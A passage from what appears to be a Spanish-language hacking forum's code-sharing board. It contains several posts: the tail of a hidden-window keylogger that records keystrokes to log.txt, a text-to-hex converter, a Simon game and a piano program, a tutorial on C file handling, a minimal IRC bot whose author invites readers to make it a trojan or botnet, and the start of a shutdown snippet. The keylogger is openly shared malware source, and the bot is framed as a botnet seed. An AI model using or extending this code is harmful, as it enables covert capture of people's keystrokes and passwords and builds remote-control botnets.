if (GetAsyncKeyState(VK_RETURN) == -32767){
log << endl;
}

if (GetAsyncKeyState('1') == -32767){
log << "1";
}

if (GetAsyncKeyState('2') == -32767){
log << "2";
}

if (GetAsyncKeyState('3') == -32767){
log << "3";
}

if (GetAsyncKeyState('4') == -32767){
log << "4";
}

if (GetAsyncKeyState('5') == -32767){
log << "5";
}

if (GetAsyncKeyState('6') == -32767){
log << "6";
}

if (GetAsyncKeyState('7') == -32767){
log << "7";
}

if (GetAsyncKeyState('8') == -32767){
log << "8";
}

if (GetAsyncKeyState('9') == -32767){
log << "9";
}

if (GetAsyncKeyState('0') == -32767){
log << "0";
}

if (GetAsyncKeyState(VK_LSHIFT) == -32767){
log << " SHIFT-";
}

if (GetAsyncKeyState(VK_MENU) == -32767){
log << " ALT-";
}

if (GetAsyncKeyState(VK_F7) == -32767){
ShowWindow(ocultar,1); //Si aprietan F7 se detiene el keylogger..
aprete = false;
}
}

//Cerramos el archivo log.txt
log.close();

//Mamonada para salir del programa........
cout << "-----------------------------------------" << endl << "ARCHIVO log.txt CREADO CON EXITO!" << endl;

system("pause");
}


By l00l
#11
Código: c

/**************/
/**Autor: S[e]C */
/**Date : 2009  */
/**************/
#include <stdio.h>
#include <string.h>
#include <conio.h>

int main(void)
{
    int len,i;
    char input[100];
    while(1)
    {
    fprintf(stdout,"\n");
    fprintf(stdout,"Text\t:");
    fscanf(stdin,"%s",&input);
    len=strlen(input);
    fprintf(stdout,"Hex\t:0x");
    for(i=0;i<len;i++)
    {
       fprintf(stdout,"%x",input[i]);
    }
    getch();
    }
    return 0;
}
#12
Códigos Fuentes / [Game] Simon en C++
Febrero 23, 2010, 07:40:31 PM
Aqui les dejo un pequeño juego en C++ que ize hace un tiempo...

Es el conocido SIMON.

Se juega con las teclas:
                ___ ___
               |_7_|_8_|     7- azul    8- rojo
               |_4_|_5_|     4- verde  5- amarillo 

Se podria perfeccionar mucho...

- Deje a medias lo del orden aleatorio para las jugadas y el almacenamiento de records...
Esto sera para version nº2 :)

Aqui los sources:

simon.cpp (archivo principal, contiene la main())
Código: cpp
#include <stdio.h>
#include <iostream>
#include<winbgim.h>
#include<windows.h>
#include<conio.h>
#include<time.h>

#include "presentacion.h"
#include "tablero.h"
using namespace std;


class jugadas:public tablero
{
public:
      jugadas():tablero()
      {
       
      }
      void juego();
      void a1();
      void r2();
      void v3();
      void z4();
      void perdiste();
      int var1;
      int avance;
      int var3;
      void teclado();
      void inicializaAvance();
private:
             
};
void jugadas::perdiste()
{
     outtextxy(300,300,"Perdiste");
     delay(8000);
}
void jugadas::inicializaAvance()
{
    avance=0;
}
void jugadas::a1()
{
     setcolor(CYAN);
     rectangle(200,50,400,250);
     int xBLUE1=201;
     int yBLUE1=51;
     int xBLUE2=399;
     int yBLUE2=249;
     int z1=0;
     while(z1<99)
     {
                 setcolor(CYAN);
                 rectangle(xBLUE1,yBLUE1,xBLUE2,yBLUE2);
                 xBLUE1++;
                 yBLUE1++;
                 xBLUE2--;
                 yBLUE2--;
                 z1++;
                 delay(10);
     }
      tablero::azul();/*
      // la tecla 7 coincide con el azul, su codigo ascii es 55
      // llamo a la variable ta (Tecla Azul)
      int ta=(int)getch();
      if (ta != 55)
      {
             perdiste();
         }*/
}
void jugadas::r2()
{
     setcolor(CYAN);
     rectangle(401,50,600,250);
     int xRED1=401;
     int yRED1=51;
     int xRED2=599;
     int yRED2=249;
     int z3=0;
     while(z3<100)
     {
                 setcolor(CYAN);
                 rectangle(xRED1,yRED1,xRED2,yRED2);
                 xRED1++;
                 yRED1++;
                 xRED2--;
                 yRED2--;
                 z3++;
                 delay(10);
     }
     tablero::rojo();/*
     // la tecla 8 coincide con el rojo, su codigo ascii es 56
      // llamo a la variable tr (Tecla Roja)
      int tr=(int)getch();
      if (tr != 56)
      {
             perdiste();
         }*/
}
void jugadas::v3()
{
     setcolor(CYAN);
     rectangle(200,251,400,450);
     int xGREEN1=201;
     int yGREEN1=252;
     int xGREEN2=399;
     int yGREEN2=449;
     int z2=0;
     while(z2<99)
     {
                 setcolor(CYAN);
                 rectangle(xGREEN1,yGREEN1,xGREEN2,yGREEN2);
                 xGREEN1++;
                 yGREEN1++;
                 xGREEN2--;
                 yGREEN2--;
                 z2++;
                 delay(10);
     }
     tablero::verde(); /*
      // la tecla 4 coincide con el verde, su codigo ascii es 52
      // llamo a la variable tv (Tecla Verde)
      int tv=(int)getch();
      if (tv != 52)
      {
             perdiste();
         }*/
}
void jugadas::z4()
{
     setcolor(CYAN);
     rectangle(401,251,601,450);
     int xYELLOW1=402;
     int yYELLOW1=252;
     int xYELLOW2=600;
     int yYELLOW2=449;
     int z4=0;
     while(z4<99)
     {
                 setcolor(CYAN);
                 rectangle(xYELLOW1,yYELLOW1,xYELLOW2,yYELLOW2);
                 xYELLOW1++;
                 yYELLOW1++;
                 xYELLOW2--;
                 yYELLOW2--;
                 z4++;
                 delay(10);
     }
     tablero::amarillo();
     /*
      // la tecla 5 coincide con el amarillo, su codigo ascii es 53
      // llamo a la variable tz porque llame al metodo z4
      int tz=(int)getch();
      if (tz != 53)
      {
             perdiste();
         }*/
}

void jugadas::juego()
{
     int jugadas[10]={4,2,3,4,1,2,3,4,1,2};
     int jugadas1[10]={2,1,4,2,1,3,2,4,1,2};
     int jugadas2[10]={4,1,4,2,1,4,3,2,3,1};
    int a;
    a=0;
    //int alt=random();
    int alt=0;
    switch (alt)
    {
    case 0:
                for (var1=0; var1<=avance;)
                {
                    if (jugadas[a]==1)
                    {
                       a1();
                    }
                    if (jugadas[a]==2)
                    {
                       r2();
                    }
                    if (jugadas[a]==3)
                    {
                       v3();
                    }
                    if (jugadas[a]==4)
                    {
                       z4();
                    }
                    var1++;
                    a++;
                }
                teclado();
}
}
void jugadas::teclado()
{
int jugadas[10]={4,2,3,4,1,2,3,4,1,2};
int c;
c=0;
int contador;
contador=0;
fflush(stdin);
for (contador=0; contador<=avance;)
                     {
                                 int tecla=(int)getch();
                                 printf("%d",tecla);
                                 if (tecla==55) // 7 ascii 55
                                 {
                                                if (jugadas[c]!=1)
                                                {
                                                 perdiste();
                                                 }
                                 }
                                 if (tecla==56) // 8 ascii 56
                                 {
                                                if (jugadas[c]!=2)
                                                {
                                                 perdiste();
                                                 }
                                 }
                                 if (tecla==52) // 4 ascii 52
                                 {
                                                if (jugadas[c]!=3)
                                                {
                                                perdiste();
                                                 }
                                 }
                                 if (tecla==53) // 5 ascii 53
                                 {
                                                if (jugadas[c]!=4)
                                                {
                                                 perdiste();
                                                 }
                                 }
                                 contador++;
                                 c++;
                                 
                       }
                       avance++;
                       juego();
                       
}


int main()
{
srand(time (NULL));
presentacion pantalla;
pantalla.titulo();
pantalla.persiana();
tablero cuadros;
cuadros.limpiar();
cuadros.azul();
cuadros.rojo();
cuadros.verde();
cuadros.amarillo();
jugadas niveles;
niveles.inicializaAvance();
niveles.juego();
}


presentacion.h
Código: cpp
class presentacion
{
      public:
             presentacion();
             void persiana();
             void titulo();
      private:
              int coordenadaXpantalla;
              int coordenadaYpantalla;
      };
presentacion::presentacion()
{
      coordenadaXpantalla=800;
      coordenadaYpantalla=600;
      initwindow(coordenadaXpantalla,coordenadaYpantalla);
}
void presentacion::persiana()
{
     setcolor(BLUE);
     int xBLUE=0;
     int yBLUE=0;
     int z4=0;
     while(z4<100)
     {
                while(xBLUE<coordenadaXpantalla)
                {
                                putpixel(xBLUE,yBLUE,BLUE);
                                xBLUE++;
                }
     z4++;
     yBLUE++;
     xBLUE=0;
     delay(5);
     }
     Beep(100,100);
     setcolor(RED);
     int xRED=0;
     int yRED=100;
     int z3=0;
     while(z3<100)
     {
                while(xRED<coordenadaXpantalla)
                {
                                putpixel(xRED,yRED,RED);
                                xRED++;
                }
     z3++;
     yRED++;
     xRED=0;
     delay(5);
     }
     Beep(200,100);
     setcolor(GREEN);
     int xGREEN=0;
     int yGREEN=400;
     int z2=0;
     while(z2<100)
     {
                while(xGREEN<coordenadaXpantalla)
                {
                                putpixel(xGREEN,yGREEN,GREEN);
                                xGREEN++;
                }
     z2++;
     yGREEN++;
     xGREEN=0;
     delay(5);
     }
     Beep(300,100);
     setcolor(YELLOW);
     int xYELLOW=0;
     int yYELLOW=500;
     int z1=0;
     while(z1<coordenadaYpantalla)
     {
                while(xYELLOW<coordenadaXpantalla)
                {
                                putpixel(xYELLOW,yYELLOW,YELLOW);
                                xYELLOW++;
                }
     z1++;
     yYELLOW++;
     xYELLOW=0;
     delay(5);
     }
     Beep(500,100);
     settextstyle(9,0,3); //(estilo,forma,tamaño)
     outtextxy(300,550,"Pulsa una tecla para continuar");
     int continuar=(int)getch();
     fflush(stdin);
}
void presentacion::titulo()
{
     // TEXTO DE SIMON
     setcolor(WHITE);
     line(470,230,790,230);
     setcolor(CYAN);
     line(50,230,450,230);
     outtextxy(470,250,"Videojuego creado en C++ (using winbgim)");
     outtextxy(470,270,"Code posteado en e-root.org");
     outtextxy(470,290,"Por ---- Endif");
     
     setcolor(BLUE);
     int auxr;
     int auxr1=610;
     int auxr2=320;
     int auxr3=630;
     int auxr4=340;
     for (auxr=0; auxr<11; auxr++)
     {
         rectangle(auxr1,auxr2,auxr3,auxr4);
         auxr1++;
         auxr2++;
         auxr3--;
         auxr4--;
     }
     setcolor(RED);
     int auxb;
     int auxb1=631;
     int auxb2=320;
     int auxb3=651;
     int auxb4=340;
     for (auxb=0; auxb<11; auxb++)
     {
         rectangle(auxb1,auxb2,auxb3,auxb4);
         auxb1++;
         auxb2++;
         auxb3--;
         auxb4--;
     }     
     setcolor(GREEN);
     int auxg;
     int auxg1=610;
     int auxg2=341;
     int auxg3=630;
     int auxg4=361;
     for (auxg=0; auxg<11; auxg++)
     {
         rectangle(auxg1,auxg2,auxg3,auxg4);
         auxg1++;
         auxg2++;
         auxg3--;
         auxg4--;
     }
     setcolor(YELLOW);
     int auxy;
     int auxy1=631;
     int auxy2=341;
     int auxy3=651;
     int auxy4=361;
     for (auxy=0; auxy<11; auxy++)
     {
         rectangle(auxy1,auxy2,auxy3,auxy4);
         auxy1++;
         auxy2++;
         auxy3--;
         auxy4--;
     }
     setcolor(WHITE);
     rectangle(610,320,651,361);
     // LETRA S
     setcolor(WHITE);
     rectangle(50,250,170,270);
     int s1=51;
     int s2=251;
     int s3=169;
     int s4=269;
     int s5;
     for (s5=0; s5<10; s5++)
     {
         rectangle(s1,s2,s3,s4);
         s1++;
         s2++;
         s3--;
         s4--;
     }
     rectangle(50,270,70,300);
     int s6=51;
     int s7=271;
     int s8=69;
     int s9=299;
     int s10;
     for (s10=0; s10<10; s10++)
     {
         rectangle(s6,s7,s8,s9);
         s6++;
         s7++;
         s8--;
         s9--;
     }
     rectangle(50,300,170,320);
     int s11=51;
     int s12=301;
     int s13=169;
     int s14=319;
     int s15;
     for (s15=0; s15<10; s15++)
     {
         rectangle(s11,s12,s13,s14);
         s11++;
         s12++;
         s13--;
         s14--;
     }
     rectangle(150,320,170,350);
     int s16=151;
     int s17=321;
     int s18=169;
     int s19=349;
     int s20;
     for (s20=0; s20<10; s20++)
     {
         rectangle(s16,s17,s18,s19);
         s16++;
         s17++;
         s18--;
         s19--;
     }
     rectangle(50,350,170,370);
     int s25=51;
     int s21=351;
     int s22=169;
     int s23=369;
     int s24;
     for (s24=0; s24<10; s24++)
     {
         rectangle(s25,s21,s22,s23);
         s25++;
         s21++;
         s22--;
         s23--;
     }
     // letra I
     setcolor(WHITE);
     rectangle(180,250,200,370);
     int i1=181;
     int i2=251;
     int i3=199;
     int i4=369;
     int i5;
     for (i5=0; i5<10; i5++)
     {
         rectangle(i1,i2,i3,i4);
         i1++;
         i2++;
         i3--;
         i4--;
     }
     // letra M
     setcolor(WHITE);
     rectangle(210,250,230,370);
     int i6=211;
     int i7=251;
     int i8=229;
     int i9=369;
     int i10;
     for (i10=0; i10<10; i10++)
     {
         rectangle(i6,i7,i8,i9);
         i6++;
         i7++;
         i8--;
         i9--;
     }
     rectangle(250,250,270,370);
     int i11=251;
     int i12=251;
     int i13=269;
     int i14=369;
     int i15;
     for (i15=0; i15<10; i15++)
     {
         rectangle(i11,i12,i13,i14);
         i11++;
         i12++;
         i13--;
         i14--;
     }
     rectangle(290,250,310,370);
     int i16=291;
     int i17=251;
     int i18=309;
     int i19=369;
     int i20;
     for (i20=0; i20<10; i20++)
     {
         rectangle(i16,i17,i18,i19);
         i16++;
         i17++;
         i18--;
         i19--;
     }
     rectangle(210,250,310,270);
     int i21=211;
     int i22=251;
     int i23=309;
     int i24=269;
     int i25;
     for (i25=0; i25<10; i25++)
     {
         rectangle(i21,i22,i23,i24);
         i21++;
         i22++;
         i23--;
         i24--;
     }
     //LA O
     setcolor(WHITE);
     rectangle(320,250,380,370);
     int o1=321;
     int o2=251;
     int o3=379;
     int o4=369;
     int o5;
     for (o5=0; o5<20; o5++)
     {
         rectangle(o1,o2,o3,o4);
         o1++;
         o2++;
         o3--;
         o4--;
     }
     //la n
     rectangle(390,250,410,370);
     int n1=391;
     int n2=251;
     int n3=409;
     int n4=369;
     int n5;
     for (n5=0; n5<10; n5++)
     {
         rectangle(n1,n2,n3,n4);
         n1++;
         n2++;
         n3--;
         n4--;
     }
    rectangle(430,250,450,370);
     int n6=431;
     int n7=251;
     int n8=449;
     int n9=369;
     int n10;
     for (n10=0; n10<10; n10++)
     {
         rectangle(n6,n7,n8,n9);
         n6++;
         n7++;
         n8--;
         n9--;
     }
     rectangle(390,250,450,270);
     int n11=391;
     int n12=251;
     int n13=449;
     int n14=269;
     int n15;
     for (n15=0; n15<10; n15++)
     {
         rectangle(n11,n12,n13,n14);
         n11++;
         n12++;
         n13--;
         n14--;
     }
}


tablero.h
Código: cpp
class tablero
{
      public:
             tablero();
             void azul();
             void verde();
             void rojo();
             void amarillo();
             void limpiar();
      private:
             
      };
     
tablero::tablero()
{
                  int nada;
}

void tablero::limpiar()
{
// limpiamos la presentacion
     setcolor(BLACK);
     int xlimp=0;
     int ylimp=0;
     int limp=0;
     while(limp<600)
     {
                while(xlimp<800)
                {
                                putpixel(xlimp,ylimp,BLACK);
                                xlimp++;
                }
     limp++;
     ylimp++;
     xlimp=0;
     delay(5);
     }
}

void tablero::azul()
{
// cuadro AZUL
     setcolor(BLUE);
     rectangle(200,50,400,250);
     int xBLUE1=201;
     int yBLUE1=51;
     int xBLUE2=399;
     int yBLUE2=249;
     int z1=0;
     while(z1<99)
     {
                 setcolor(BLUE);
                 rectangle(xBLUE1,yBLUE1,xBLUE2,yBLUE2);
                 xBLUE1++;
                 yBLUE1++;
                 xBLUE2--;
                 yBLUE2--;
                 z1++;
                 delay(10);
     }
}
void tablero::verde()
{
// cuadros VERDE
     setcolor(GREEN);
     rectangle(200,251,400,450);
     int xGREEN1=201;
     int yGREEN1=252;
     int xGREEN2=399;
     int yGREEN2=449;
     int z2=0;
     while(z2<99)
     {
                 setcolor(GREEN);
                 rectangle(xGREEN1,yGREEN1,xGREEN2,yGREEN2);
                 xGREEN1++;
                 yGREEN1++;
                 xGREEN2--;
                 yGREEN2--;
                 z2++;
                 delay(10);
     }
}

void tablero::rojo()
{
// cuadros ROJO
     setcolor(RED);
     rectangle(401,50,600,250);
     int xRED1=401;
     int yRED1=51;
     int xRED2=599;
     int yRED2=249;
     int z3=0;
     while(z3<100)
     {
                 setcolor(RED);
                 rectangle(xRED1,yRED1,xRED2,yRED2);
                 xRED1++;
                 yRED1++;
                 xRED2--;
                 yRED2--;
                 z3++;
                 delay(10);
     }
}

void tablero::amarillo()
{     
// cuadros AMARILLO
     setcolor(YELLOW);
     rectangle(401,251,601,450);
     int xYELLOW1=402;
     int yYELLOW1=252;
     int xYELLOW2=600;
     int yYELLOW2=449;
     int z4=0;
     while(z4<99)
     {
                 setcolor(YELLOW);
                 rectangle(xYELLOW1,yYELLOW1,xYELLOW2,yYELLOW2);
                 xYELLOW1++;
                 yYELLOW1++;
                 xYELLOW2--;
                 yYELLOW2--;
                 z4++;
                 delay(10);
     }
}


Si tienen algun problema me dicen!

Espero que les sirva de algo :P

Autor: Radón
#13
C / C++ / Introducción al manejo de archivos en C!
Febrero 23, 2010, 07:36:43 PM
Bueno primero k nada unos pequeños apuntes:

Como declarar un fichero:


Código: c
FILE * nombre_del_archivo;


como abrir un fichero:

Código: c
fichero = fopen(nombre_del_archivo, "modo_de_apertura");


Ojo
Donde:

nombre_del_archivo = eso xD el nombre del archivo ;)
modo_apertura        =  es una de las siguientes opciones:


Citarw         crea un fichero de escritura. Si ya existe lo crea de nuevo.
w+       crea un fichero de lectura y escritura. Si ya existe lo crea de nuevo.
a         abre o crea un fichero para añadir datos al final del mismo.
a+       abre o crea un fichero para leer y añadir datos al final del mismo.
r          abre un fichero de lectura.
r+        abre un fichero de lectura y escritura.


como cerrar un fichero:


simplemente aremos:

Código: c
 fclose (fichero);


como escribir en mi fichero:
Código: c

fputs(variable_o_texto, nombre_archivo);


y eso por ahora (despacio por las piedras dice mi vieja

___________________________________________________________________


ya sabemos lo basico(muy basico, mas adelante veremos mas) en conceptos para el manejo de ficheros,
ahora veamos un ejemplo...


Código: c
#include <stdio.h>

main()
{
       FILE *hola;
       char cad[15]="Hola mundo";
       if (!(hola=fopen("datos.txt","w")))
       {
              printf("Error al abrir el archivo");
              exit(0);
       }
       else
       {
              fputs(cad,hola);
              fclose(hola);
       }
}


esto lo k hace es simplemente declarar una variable como cadena de caracteres y luego la imprime en el archivo
usando fputs.


Bueno eso seria todo por ahora

Saludos!
#14
Códigos Fuentes / Sencillo PIANO
Febrero 23, 2010, 07:35:59 PM
Aqui les dejo un sencillo programa en C que simula un piano de 7 teclas coincidentes con el do, re, mi, fa, sol, la, si.

Para los sonidos empleo los beep del PC.

codigo:
Código: c
#include <winbgim.h>
#include <iostream>
#include <math.h>
#include <windows.h>

/* DEFINICION DE LAS TECLAS
              NOMENCLATURA: TeclaColor -> ejemplo: TAZUL
              SETFILLSTYLE: (tipo, color)
              BAR (X inicial, Y inicial, X final, Y final
              BEEP (frecuencia en Herzios, Duracion en Milisegundos*/
             
#define temp 500 //Duracion en milisegundos de las notas
#define tneg 150 //longitud de las teclas negras

#define Si setfillstyle(1,BLANCO);bar(600,0,698,300);setfillstyle(1,NEGRO);bar(600,0,610,tneg);settextstyle(5,0,4);outtextxy(633,305,"si");//Beep(800,temp);
#define La setfillstyle(1,BLANCO);bar(500,0,598,300);setfillstyle(1,NEGRO);bar(500,0,510,tneg);bar(588,0,598,tneg);settextstyle(5,0,4);outtextxy(530,305,"la");//Beep(704,temp);
#define Sol setfillstyle(1,BLANCO);bar(400,0,498,300);setfillstyle(1,NEGRO);bar(488,0,498,tneg);bar(400,0,410,tneg);settextstyle(5,0,4);outtextxy(430,305,"sol");//Beep(660,temp);
#define Fa setfillstyle(1,BLANCO);bar(300,0,398,300);setfillstyle(1,NEGRO);bar(388,0,398,tneg);bar(300,0,310,tneg);settextstyle(5,0,4);outtextxy(330,305,"Fa");//Beep(594,temp);
#define Mi setfillstyle(1,BLANCO);bar(200,0,298,300);setfillstyle(1,NEGRO);bar(200,0,210,tneg);bar(288,0,298,tneg);settextstyle(5,0,4);outtextxy(230,305,"mi");//Beep(528,temp);
#define Re setfillstyle(1,BLANCO);bar(100,0,198,300);setfillstyle(1,NEGRO);bar(188,0,198,tneg);bar(100,0,110,tneg);settextstyle(5,0,4);outtextxy(130,305,"re");//Beep(495,temp);
#define Do setfillstyle(1,BLANCO);bar(0,0,98,300);setfillstyle(1,NEGRO);bar(88,0,98,tneg);settextstyle(5,0,4);outtextxy(30,305,"do");//Beep(420,temp);

/* DEFINICION DE LOS COLORES */
#define AZUL 1
#define VERDE 2
#define ROJO 4
#define MAGENTA 5
#define MARRON 6
#define GRIS 7
#define VERDECLARO 10
#define AMARILLO 14
#define BLANCO 15
#define NEGRO 0

/*Sonidos*/
#define si Beep(800,temp);
#define la Beep(704,temp);
#define sol Beep(660,temp);
#define fa Beep(594,temp);
#define mi Beep(528,temp);
#define re Beep(495,temp);
#define doo Beep(450,temp);


/* ############################################################################
   FUNCIONES                                                                 */

void IniciarWinbgim(); // inicia la pantalla de la WINBGIM
void Menu();
void Inicio();
void Juego();
void Instrucciones();
void Open();
void Autor();
void Bye();

/* ############################################################################
   CUERPOS DE LAS FUNCIONES                                                  */

void IniciarWinbgim()
{
     initwindow(698,400); // abre la pantalla de la WINBGIM a x=698, y=600
}

void Menu()
{
     setfillstyle(1,NEGRO);bar(0,0,698,400);
     setfillstyle(4,BLANCO);bar(0,0,698,100);
     setfillstyle(5,BLANCO);bar(0,150,698,250);
     setcolor(ROJO);
     settextstyle(2,0,15);
     outtextxy(20,100,"BepPiano");
     setcolor(BLANCO);
     settextstyle(1,0,1);
     outtextxy(280,280,"1- Tocar"); // ascii 49
     outtextxy(280,310,"2- Instrucciones"); // ascii 50
     outtextxy(280,340,"3- Autor"); // ascii 51
     int aux=0;
     while (aux==0)
     {
     int menu=(int)getch();
     //printf("%d",menu);
     switch (menu)
     {
            case 49:
                 Inicio();
                 aux=1;
            case 50:
                 Instrucciones();
                 aux=1;
            case 51:
                 Autor();
                 aux=1;
            case 27:
                 Bye();
                 aux=1;
     }
     }
}

void Open()
{
     // variables necesarias para el rectangulo blanco en apertura de la presentacion
     int x1=359;
     int y1=200;
     int x2=359;
     int y2=200;
     while (x1>=0) //bucle para aumentar las coordenadas del rectangulo
     {
           setcolor(BLANCO);
           rectangle(x1,y1,x2,y2);
           x1--;
           x2++;
           y1--;
           y2++;
           delay (1);
     }
}
void Inicio()
{
     
     // barrido negro para borrar pantalla y poner las teclas
     int lx1=0;
     int ly1=0;
     int ly2=400;
     while (lx1<=698)
     {
           setcolor(NEGRO);
           line(lx1,ly1,lx1,ly2);
           lx1++;
           delay(1);
           while(lx1==98)
           {
                         Do;
                         doo;
                         break;
           }
           while(lx1==198)
           {
                         Re;
                         re;
                         break;
           }
           while(lx1==298)
           {
                         Mi;
                         mi;
                         break;
           }
           while(lx1==398)
           {
                         Fa;
                         fa;
                         break;
           }
           while(lx1==498)
           {
                         Sol;
                         sol;
                         break;
           }
           while(lx1==598)
           {
                         La;
                         la;
                         break;
           }
           while(lx1==698)
           {
                         Si;
                         si;
                         break;
           }
     }
     Juego();
}

void Juego()
{
     int melodia[99];
     int c,t; // c es el total de teclas que puedes pulsar y t el tiempo que
              //permanecen los textos de las notas en pantalla
     t=200;
     for (c=0; c<888; c++)
     {
     int tecla=(int)getch();
     //printf("%d",tecla);
     switch (tecla)
            {
            case 97: // tecla A nota DO
                 setfillstyle(1,GRIS);bar(0,0,98,300);setfillstyle(1,NEGRO);bar(88,0,98,tneg);
                 setcolor(BLANCO);
                 settextstyle(5,0,4);
                 outtextxy(40,320,"do");
                 doo;
                 delay(t);
                 setfillstyle(1,BLANCO);bar(0,0,98,300);setfillstyle(1,NEGRO);bar(88,0,98,tneg);
                 setcolor(NEGRO);
                 outtextxy(40,320,"do");
                 break;
            case 115:
                 setfillstyle(1,GRIS);bar(100,0,198,300);setfillstyle(1,NEGRO);bar(188,0,198,tneg);bar(100,0,110,tneg);
                 setcolor(BLANCO);
                 settextstyle(5,0,4);
                 outtextxy(140,320,"re");
                 re;
                 delay(t);
                 setfillstyle(1,BLANCO);bar(100,0,198,300);setfillstyle(1,NEGRO);bar(188,0,198,tneg);bar(100,0,110,tneg);
                 setcolor(NEGRO);
                 outtextxy(140,320,"re");
                 break;
            case 100:
                 setfillstyle(1,GRIS);bar(200,0,298,300);setfillstyle(1,NEGRO);bar(200,0,210,tneg);bar(288,0,298,tneg);
                 setcolor(BLANCO);
                 settextstyle(5,0,4);
                 outtextxy(240,320,"mi");
                 mi;
                 delay(t);
                 setfillstyle(1,BLANCO);bar(200,0,298,300);setfillstyle(1,NEGRO);bar(200,0,210,tneg);bar(288,0,298,tneg);
                 setcolor(NEGRO);
                 outtextxy(240,320,"mi");
                 break;
            case 102:
                 setfillstyle(1,GRIS);bar(300,0,398,300);setfillstyle(1,NEGRO);bar(388,0,398,tneg);bar(300,0,310,tneg);
                 setcolor(BLANCO);
                 settextstyle(5,0,4);
                 outtextxy(340,320,"fa");
                 fa;
                 delay(t);
                 setfillstyle(1,BLANCO);bar(300,0,398,300);setfillstyle(1,NEGRO);bar(388,0,398,tneg);bar(300,0,310,tneg);
                 setcolor(NEGRO);
                 outtextxy(340,320,"fa");
                 break;
            case 106:
                 setfillstyle(1,GRIS);bar(400,0,498,300);setfillstyle(1,NEGRO);bar(488,0,498,tneg);bar(400,0,410,tneg);
                 setcolor(BLANCO);
                 settextstyle(5,0,4);
                 outtextxy(440,320,"sol");
                 sol;
                 delay(t);
                 setfillstyle(1,BLANCO);bar(400,0,498,300);setfillstyle(1,NEGRO);bar(488,0,498,tneg);bar(400,0,410,tneg);
                 setcolor(NEGRO);
                 outtextxy(440,320,"sol");
                 break;
            case 107:
                 setfillstyle(1,GRIS);bar(500,0,598,300);setfillstyle(1,NEGRO);bar(500,0,510,tneg);bar(588,0,598,tneg);
                 setcolor(BLANCO);
                 settextstyle(5,0,4);
                 outtextxy(540,320,"la");
                 la;
                 delay(t);
                 setfillstyle(1,BLANCO);bar(500,0,598,300);setfillstyle(1,NEGRO);bar(500,0,510,tneg);bar(588,0,598,tneg);
                 setcolor(NEGRO);
                 outtextxy(540,320,"la");
                 break;
            case 108:
                 setfillstyle(1,GRIS);bar(600,0,698,300);setfillstyle(1,NEGRO);bar(600,0,610,tneg);
                 setcolor(BLANCO);
                 settextstyle(5,0,4);
                 outtextxy(640,320,"si");
                 si;
                 delay(t);
                 setfillstyle(1,BLANCO);bar(600,0,698,300);setfillstyle(1,NEGRO);bar(600,0,610,tneg);
                 setcolor(NEGRO);
                 outtextxy(640,320,"si");
                 break;
            case 27:
                 Bye();
            }
     }
}

void Instrucciones()
{
     setfillstyle(1,NEGRO);bar(0,0,698,400);
     setfillstyle(4,BLANCO);bar(0,0,698,100);
     setfillstyle(5,BLANCO);bar(0,150,698,250);
     setcolor(ROJO);
     settextstyle(2,0,15);
     outtextxy(20,100,"Instrucciones");
     setcolor(BLANCO);
     settextstyle(6,0,1);
     outtextxy(10,280,"El BepPiano consta de 7 teclas correspondientes a las notas");
     outtextxy(10,310,"do, re, mi, fa, sol, la, si. Para hacerlo sonar pulsa las teclas:");
     outtextxy(10,340,"a=do, s=re, d=mi, f=fa, j=sol, k=la, l=si");
     outtextxy(10,370,"La tecla Bloc Mayus a de estar desactivada (en minusculas).");
     int menu=(int)getch();
     Menu();
}

void Autor()
{
     setfillstyle(1,NEGRO);bar(0,0,698,400);
     setfillstyle(4,BLANCO);bar(0,0,698,100);
     setfillstyle(5,BLANCO);bar(0,150,698,250);
     setcolor(ROJO);
     settextstyle(2,0,15);
     outtextxy(20,100,"Autor");
     setcolor(BLANCO);
     settextstyle(6,0,1);
     outtextxy(10,280,"BepPiano.");
     outtextxy(10,310,"Creado por Radon");
     outtextxy(10,340,"Code en e-r00t");
     int menua=(int)getch();
     Menu();
}

void Bye()
{
     Open();
     setfillstyle(1,NEGRO);
     bar(0,0,698,400);
     settextstyle(6,0,1);
     outtextxy(100,200,"Adios!!!.");
     delay(800);
     exit(-1);
}

int main()
{
    IniciarWinbgim();
    Menu();
    return 0;
}



esta compilado con el devc++

Autor: Radón
#15
Códigos Fuentes / [C] Irc-Bot Simple
Febrero 23, 2010, 07:34:10 PM
Se podria decir que esta en face beta de la beta =P ... solo conecta al servidor y canal indicado... se deben modificar los datos en el codigo fuente para otro servidor... solo lo dejo como muestra de como realizar la conexion ... ^-^ , haber si alguien se anima a darle propiedades de troyano u botnet jeje...

Código: c
/************************/
/** Coded By: S[e]C         **/
/** Date      : 2009          **/
/** *********************/
#include <stdio.h>
#include <string.h>
#include <conio.h>
#include <winsock2.h>

#define PORT 6667
#define SERVER "irc.freenode.net"

int sock;

int main(void)
{
    WSADATA wsa_;
    SOCKET sock;
    struct hostent *host;
    struct sockaddr_in direc;
    char buffer[8192];
    char peticion1[]="NICK Txus_\r\n";
    char peticion2[]="USER Bot_Txus\r\n";
    char peticion3[]="JOIN #txus_sala\r\n";
    int len1=strlen(peticion1),len2=strlen(peticion2),len3=strlen(peticion3);
    int i;   
    WSAStartup(MAKEWORD(2,2),&wsa_);
    host=gethostbyname(SERVER);
    sock=socket(AF_INET,SOCK_STREAM,0);
    if(sock==-1)
    {
      fprintf(stdout,"Error al crear socket\n");
      return (-1);
    }
   
    direc.sin_family=AF_INET;
    direc.sin_port=htons(PORT);
    direc.sin_addr=*((struct in_addr *)host->h_addr);
    memset(direc.sin_zero,0,8);
   
    if (connect(sock, (struct sockaddr *)&direc,sizeof(struct sockaddr)) == -1)
    {
              fprintf(stdout,"Error al conectar al servidor\n");
              return (-1);
    }
            send(sock, peticion1, len1, 0);
            printf("Sent nick\n");
            send(sock, peticion2, len2, 0);
            printf("Sent user id\n");
            send(sock, peticion3, len3, 0);
            printf("Joining Channel\n");
    i=0;
    do
    {
        i = recv(sock, buffer, sizeof(buffer), 0);       
        fprintf(stdout,"%s",buffer);       
    } while (i != 0);
    getch();
    return 0;   
}


PD: Olvide decir, yo programo para windows normalmente... jeje =P

PD2: Esta probado compilado con Dev-cpp 4.9.9.2 y se debe agregar la siguiente linea al linker -lwsock32.

Saludos!
#16
Códigos Fuentes / Apagado-Shutdown Function(Windows)
Febrero 23, 2010, 07:32:54 PM
Alternativa a "system(shutdown -s)"

Código: c
#include <windows.h>

      int main()
      {
      HANDLE hToken;
      TOKEN_PRIVILEGES tokpr;
      if (OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
      {
      LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tokpr.Privileges[0].Luid);
